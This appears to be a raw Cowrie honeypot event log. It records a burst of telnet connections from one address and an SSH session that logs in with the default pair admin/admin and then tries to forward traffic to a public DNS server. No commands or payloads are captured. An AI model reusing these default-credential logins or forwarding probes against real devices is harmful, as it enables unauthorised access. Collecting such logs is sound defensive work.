{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54956,"dst_ip":"10.17.0.5","dst_port":23,"session":"3963b1e7a575","protocol":"telnet","message":"New connection: 198.50.122.223:54956 (10.17.0.5:23) [session: 3963b1e7a575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:28.896888Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56352,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4ad41a29e8f","protocol":"telnet","message":"New connection: 198.50.122.223:56352 (10.17.0.5:23) [session: a4ad41a29e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:29.283894Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56396,"dst_ip":"10.17.0.5","dst_port":23,"session":"480679af405c","protocol":"telnet","message":"New connection: 198.50.122.223:56396 (10.17.0.5:23) [session: 480679af405c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:29.297546Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56742,"dst_ip":"10.17.0.5","dst_port":23,"session":"816b299c1a2c","protocol":"telnet","message":"New connection: 198.50.122.223:56742 (10.17.0.5:23) [session: 816b299c1a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:29.374361Z"}
{"eventid":"cowrie.session.closed","duration":31.027369737625122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:29.404130Z","src_ip":"198.50.122.223","session":"72c2bdf996b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57010,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07364a11cbf","protocol":"telnet","message":"New connection: 198.50.122.223:57010 (10.17.0.5:23) [session: f07364a11cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:29.443303Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59644,"dst_ip":"10.17.0.5","dst_port":23,"session":"c10621796b57","protocol":"telnet","message":"New connection: 198.50.122.223:59644 (10.17.0.5:23) [session: c10621796b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:29.885484Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60784,"dst_ip":"10.17.0.5","dst_port":23,"session":"7df7de14a40b","protocol":"telnet","message":"New connection: 198.50.122.223:60784 (10.17.0.5:23) [session: 7df7de14a40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:30.228034Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":32940,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b35b444d219","protocol":"telnet","message":"New connection: 198.50.122.223:32940 (10.17.0.5:23) [session: 2b35b444d219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:30.304756Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33410,"dst_ip":"10.17.0.5","dst_port":23,"session":"12f91915642b","protocol":"telnet","message":"New connection: 198.50.122.223:33410 (10.17.0.5:23) [session: 12f91915642b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:30.418560Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33790,"dst_ip":"10.17.0.5","dst_port":23,"session":"6932d08418bc","protocol":"telnet","message":"New connection: 198.50.122.223:33790 (10.17.0.5:23) [session: 6932d08418bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:30.516125Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36884,"dst_ip":"10.17.0.5","dst_port":23,"session":"c33aefacd276","protocol":"telnet","message":"New connection: 198.50.122.223:36884 (10.17.0.5:23) [session: c33aefacd276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:31.147772Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37878,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f63e2068243","protocol":"telnet","message":"New connection: 198.50.122.223:37878 (10.17.0.5:23) [session: 5f63e2068243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:31.365665Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38242,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17de8e6c55a","protocol":"telnet","message":"New connection: 198.50.122.223:38242 (10.17.0.5:23) [session: b17de8e6c55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:31.441546Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38468,"dst_ip":"10.17.0.5","dst_port":23,"session":"86efa62e5fdc","protocol":"telnet","message":"New connection: 198.50.122.223:38468 (10.17.0.5:23) [session: 86efa62e5fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:31.480008Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39996,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c7c041ea95b","protocol":"telnet","message":"New connection: 198.50.122.223:39996 (10.17.0.5:23) [session: 4c7c041ea95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:31.744269Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40050,"dst_ip":"10.17.0.5","dst_port":23,"session":"5932fcac6240","protocol":"telnet","message":"New connection: 198.50.122.223:40050 (10.17.0.5:23) [session: 5932fcac6240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:31.752997Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40078,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc89091269b8","protocol":"telnet","message":"New connection: 198.50.122.223:40078 (10.17.0.5:23) [session: cc89091269b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:31.757840Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41256,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f8bf2e1dd61","protocol":"telnet","message":"New connection: 198.50.122.223:41256 (10.17.0.5:23) [session: 5f8bf2e1dd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:32.012583Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41384,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9298f3fc5f2","protocol":"telnet","message":"New connection: 198.50.122.223:41384 (10.17.0.5:23) [session: f9298f3fc5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:32.072616Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41494,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa9c2475ce52","protocol":"telnet","message":"New connection: 198.50.122.223:41494 (10.17.0.5:23) [session: fa9c2475ce52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:32.107096Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41672,"dst_ip":"10.17.0.5","dst_port":23,"session":"839d3cc2d845","protocol":"telnet","message":"New connection: 198.50.122.223:41672 (10.17.0.5:23) [session: 839d3cc2d845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:32.183531Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41688,"dst_ip":"10.17.0.5","dst_port":23,"session":"afa37fb19550","protocol":"telnet","message":"New connection: 198.50.122.223:41688 (10.17.0.5:23) [session: afa37fb19550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:32.194286Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42898,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb5f7871bba0","protocol":"telnet","message":"New connection: 198.50.122.223:42898 (10.17.0.5:23) [session: eb5f7871bba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:32.536719Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51270,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e62928d98f8","protocol":"telnet","message":"New connection: 198.50.122.223:51270 (10.17.0.5:23) [session: 5e62928d98f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:34.375793Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58894,"dst_ip":"10.17.0.5","dst_port":23,"session":"a918edcab321","protocol":"telnet","message":"New connection: 198.50.122.223:58894 (10.17.0.5:23) [session: a918edcab321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:35.898613Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59518,"dst_ip":"10.17.0.5","dst_port":23,"session":"98b9ebe11716","protocol":"telnet","message":"New connection: 198.50.122.223:59518 (10.17.0.5:23) [session: 98b9ebe11716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:36.027014Z"}
{"eventid":"cowrie.session.closed","duration":30.572835683822632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:36.131534Z","src_ip":"198.50.122.223","session":"7a9524ae6685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34492,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ccb10ddbade","protocol":"telnet","message":"New connection: 198.50.122.223:34492 (10.17.0.5:23) [session: 6ccb10ddbade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:36.710620Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34656,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ad1157b699","protocol":"telnet","message":"New connection: 198.50.122.223:34656 (10.17.0.5:23) [session: b3ad1157b699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:36.744630Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34992,"dst_ip":"10.17.0.5","dst_port":23,"session":"954993e9a39f","protocol":"telnet","message":"New connection: 198.50.122.223:34992 (10.17.0.5:23) [session: 954993e9a39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:36.805097Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36366,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28443a9bff1","protocol":"telnet","message":"New connection: 198.50.122.223:36366 (10.17.0.5:23) [session: e28443a9bff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:37.176484Z"}
{"eventid":"cowrie.session.closed","duration":30.824076175689697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:37.526147Z","src_ip":"198.50.122.223","session":"2a3f7c7184d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38538,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae0027f0f48a","protocol":"telnet","message":"New connection: 198.50.122.223:38538 (10.17.0.5:23) [session: ae0027f0f48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:37.604862Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39900,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad9291b400d2","protocol":"telnet","message":"New connection: 198.50.122.223:39900 (10.17.0.5:23) [session: ad9291b400d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:37.867479Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40164,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab06dc97e573","protocol":"telnet","message":"New connection: 198.50.122.223:40164 (10.17.0.5:23) [session: ab06dc97e573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:37.916596Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36172,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d12c2d31f1","protocol":"telnet","message":"New connection: 198.50.122.223:36172 (10.17.0.5:23) [session: b0d12c2d31f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:38.126640Z"}
{"eventid":"cowrie.session.closed","duration":30.405365705490112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:38.183883Z","src_ip":"198.50.122.223","session":"b4dabeebd808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41810,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c726fe3ff0","protocol":"telnet","message":"New connection: 198.50.122.223:41810 (10.17.0.5:23) [session: a5c726fe3ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:38.398657Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44308,"dst_ip":"10.17.0.5","dst_port":23,"session":"4caeff3ea999","protocol":"telnet","message":"New connection: 198.50.122.223:44308 (10.17.0.5:23) [session: 4caeff3ea999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:38.848007Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44834,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb048436083","protocol":"telnet","message":"New connection: 198.50.122.223:44834 (10.17.0.5:23) [session: ceb048436083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:38.973980Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45470,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d961f472e19","protocol":"telnet","message":"New connection: 198.50.122.223:45470 (10.17.0.5:23) [session: 3d961f472e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:39.204940Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45966,"dst_ip":"10.17.0.5","dst_port":23,"session":"c86578e87ba5","protocol":"telnet","message":"New connection: 198.50.122.223:45966 (10.17.0.5:23) [session: c86578e87ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:39.306378Z"}
{"eventid":"cowrie.session.closed","duration":30.766742706298828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:39.371343Z","src_ip":"198.50.122.223","session":"d2f0747893f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47512,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8dd502d9783","protocol":"telnet","message":"New connection: 198.50.122.223:47512 (10.17.0.5:23) [session: a8dd502d9783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:39.602909Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48064,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f3a0b1bb8e2","protocol":"telnet","message":"New connection: 198.50.122.223:48064 (10.17.0.5:23) [session: 4f3a0b1bb8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:39.694639Z"}
{"eventid":"cowrie.session.closed","duration":30.495787143707275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:40.344637Z","src_ip":"198.50.122.223","session":"b0f7a70e051e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50838,"dst_ip":"10.17.0.5","dst_port":23,"session":"1990524ad6bc","protocol":"telnet","message":"New connection: 198.50.122.223:50838 (10.17.0.5:23) [session: 1990524ad6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:40.358551Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50870,"dst_ip":"10.17.0.5","dst_port":23,"session":"222f7e094624","protocol":"telnet","message":"New connection: 198.50.122.223:50870 (10.17.0.5:23) [session: 222f7e094624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:40.367195Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8586,"dst_ip":"10.17.0.5","dst_port":22,"session":"a417015f9f3c","protocol":"ssh","message":"New connection: 87.251.64.176:8586 (10.17.0.5:22) [session: a417015f9f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:40.516835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:40.521224Z","src_ip":"87.251.64.176","session":"a417015f9f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52266,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdfc5e55c0fe","protocol":"telnet","message":"New connection: 198.50.122.223:52266 (10.17.0.5:23) [session: bdfc5e55c0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:40.563149Z"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:40.619483Z","src_ip":"87.251.64.176","session":"a417015f9f3c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:40.909022Z","src_ip":"87.251.64.176","session":"a417015f9f3c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:41.008371Z","session":"a417015f9f3c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:41.105644Z","src_ip":"87.251.64.176","session":"a417015f9f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54982,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d6ed976583d","protocol":"telnet","message":"New connection: 198.50.122.223:54982 (10.17.0.5:23) [session: 0d6ed976583d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:41.198078Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:41.205263Z","src_ip":"87.251.64.176","session":"a417015f9f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55240,"dst_ip":"10.17.0.5","dst_port":23,"session":"510bb850326a","protocol":"telnet","message":"New connection: 198.50.122.223:55240 (10.17.0.5:23) [session: 510bb850326a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:41.281814Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56074,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1fa08b1e1b2","protocol":"telnet","message":"New connection: 198.50.122.223:56074 (10.17.0.5:23) [session: e1fa08b1e1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:41.500613Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57300,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef5d7a516054","protocol":"telnet","message":"New connection: 198.50.122.223:57300 (10.17.0.5:23) [session: ef5d7a516054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:41.674515Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57584,"dst_ip":"10.17.0.5","dst_port":23,"session":"a88b2cee42ba","protocol":"telnet","message":"New connection: 198.50.122.223:57584 (10.17.0.5:23) [session: a88b2cee42ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:41.699153Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58294,"dst_ip":"10.17.0.5","dst_port":23,"session":"eec4ef6f59d4","protocol":"telnet","message":"New connection: 198.50.122.223:58294 (10.17.0.5:23) [session: eec4ef6f59d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:41.878114Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60830,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e2d84a31614","protocol":"telnet","message":"New connection: 198.50.122.223:60830 (10.17.0.5:23) [session: 6e2d84a31614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:42.454237Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37104,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7dbfaf59326","protocol":"telnet","message":"New connection: 198.50.122.223:37104 (10.17.0.5:23) [session: d7dbfaf59326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:43.456104Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37290,"dst_ip":"10.17.0.5","dst_port":23,"session":"44afc0c06f69","protocol":"telnet","message":"New connection: 198.50.122.223:37290 (10.17.0.5:23) [session: 44afc0c06f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:43.532595Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37330,"dst_ip":"10.17.0.5","dst_port":23,"session":"11eaa63f166c","protocol":"telnet","message":"New connection: 198.50.122.223:37330 (10.17.0.5:23) [session: 11eaa63f166c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:43.537162Z"}
{"eventid":"cowrie.session.closed","duration":30.631296634674072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:44.039520Z","src_ip":"198.50.122.223","session":"3b5e548282fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21321964263916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:44.308552Z","src_ip":"198.50.122.223","session":"bafd1ef5a580","protocol":"telnet"}
